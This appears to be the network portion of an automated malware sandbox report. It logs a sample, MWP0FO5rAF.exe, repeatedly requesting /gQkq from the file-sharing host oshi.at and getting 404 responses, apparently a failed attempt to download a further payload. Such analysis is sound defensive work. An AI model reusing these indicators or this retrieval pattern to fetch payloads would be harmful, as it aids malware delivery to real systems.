                                                                Jan 10, 2025 18:53:27.086685896 CET50083443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:27.086740017 CET44350083194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:27.086802959 CET50083443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:27.087043047 CET50083443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:27.087055922 CET44350083194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:28.284805059 CET44350083194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:28.286549091 CET50083443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:28.286595106 CET44350083194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:28.912687063 CET44350083194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:28.912714958 CET44350083194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:28.912781954 CET44350083194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:28.912787914 CET50083443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:28.912832975 CET50083443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:28.915852070 CET50083443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:28.917011023 CET50084443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:28.917051077 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:28.917114973 CET50084443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:28.917402983 CET50084443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:28.917416096 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.189915895 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.215138912 CET50084443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:30.215176105 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.801583052 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.801609993 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.801661015 CET50084443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:30.801687002 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.801713943 CET44350084194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.801759958 CET50084443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:30.802237034 CET50084443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:30.803502083 CET50085443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:30.803543091 CET44350085194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:30.803615093 CET50085443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:30.803931952 CET50085443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:30.803942919 CET44350085194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:31.940994024 CET44350085194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:31.945935965 CET50085443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:31.945965052 CET44350085194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:32.579003096 CET44350085194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:32.579025030 CET44350085194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:32.579107046 CET44350085194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:32.579117060 CET50085443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:32.579157114 CET50085443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:33.226022005 CET50085443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:33.227962971 CET50086443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:33.228020906 CET44350086194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:33.228086948 CET50086443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:33.229048014 CET50086443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:33.229065895 CET44350086194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:34.430661917 CET44350086194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:34.448853016 CET50086443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:34.448901892 CET44350086194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:35.025156021 CET44350086194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:35.025176048 CET44350086194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:35.025253057 CET44350086194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:35.025296926 CET50086443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:35.027677059 CET50086443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:35.027678013 CET50086443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:35.028685093 CET50087443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:35.028728962 CET44350087194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:35.028924942 CET50087443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:35.030361891 CET50087443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:35.030371904 CET44350087194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:36.236427069 CET44350087194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:36.239480972 CET50087443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:36.239497900 CET44350087194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:36.833241940 CET44350087194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:36.833266020 CET44350087194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:36.833353043 CET44350087194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:36.834388971 CET50087443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:36.835011005 CET50088443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:36.835011005 CET50087443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:36.835045099 CET44350088194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:36.835293055 CET50088443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:36.835293055 CET50088443192.168.2.9194.15.112.248
                                                                Jan 10, 2025 18:53:36.835323095 CET44350088194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:38.583173037 CET44350088194.15.112.248192.168.2.9
                                                                Jan 10, 2025 18:53:38.626208067 CET50088443192.168.2.9194.15.112.248

                                                                UDP Packets

                                                                TimestampSource PortDest PortSource IPDest IP
                                                                Jan 10, 2025 18:49:29.882507086 CET6437353192.168.2.91.1.1.1
                                                                Jan 10, 2025 18:49:29.904743910 CET53643731.1.1.1192.168.2.9

                                                                DNS Queries

                                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                Jan 10, 2025 18:49:29.882507086 CET192.168.2.91.1.1.10x2e4Standard query (0)oshi.atA (IP address)IN (0x0001)false

                                                                DNS Answers

                                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                Jan 10, 2025 18:49:26.542247057 CET1.1.1.1192.168.2.90xab42No error (0)shed.dual-low.s-part-0017.t-0009.t-msedge.nets-part-0017.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                Jan 10, 2025 18:49:26.542247057 CET1.1.1.1192.168.2.90xab42No error (0)s-part-0017.t-0009.t-msedge.net13.107.246.45A (IP address)IN (0x0001)false
                                                                Jan 10, 2025 18:49:29.904743910 CET1.1.1.1192.168.2.90x2e4No error (0)oshi.at194.15.112.248A (IP address)IN (0x0001)false
                                                                Jan 10, 2025 18:49:29.904743910 CET1.1.1.1192.168.2.90x2e4No error (0)oshi.at5.253.86.15A (IP address)IN (0x0001)false

                                                                HTTP Request Dependency Graph

                                                                • oshi.at

                                                                HTTPS Proxied Packets

                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                0192.168.2.949726194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:31 UTC61OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                Connection: Keep-Alive
                                                                2025-01-10 17:49:31 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:31 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:31 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                1192.168.2.949742194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:33 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:33 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:33 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:33 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                2192.168.2.949752194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:35 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:35 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:35 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:35 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                3192.168.2.949761194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:36 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:37 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:37 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:37 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                4192.168.2.949771194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:38 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:39 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:38 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:39 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                5192.168.2.949783194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:40 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:40 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:40 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:40 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                6192.168.2.949794194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:41 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:42 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:42 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:42 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                7192.168.2.949808194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:46 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:47 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:47 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:47 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                8192.168.2.949839194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:48 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:49 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:49 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:49 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                9192.168.2.949849194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:50 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:51 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:50 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:49:51 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                10192.168.2.949861194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:49:52 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:49:52 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:49:52 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
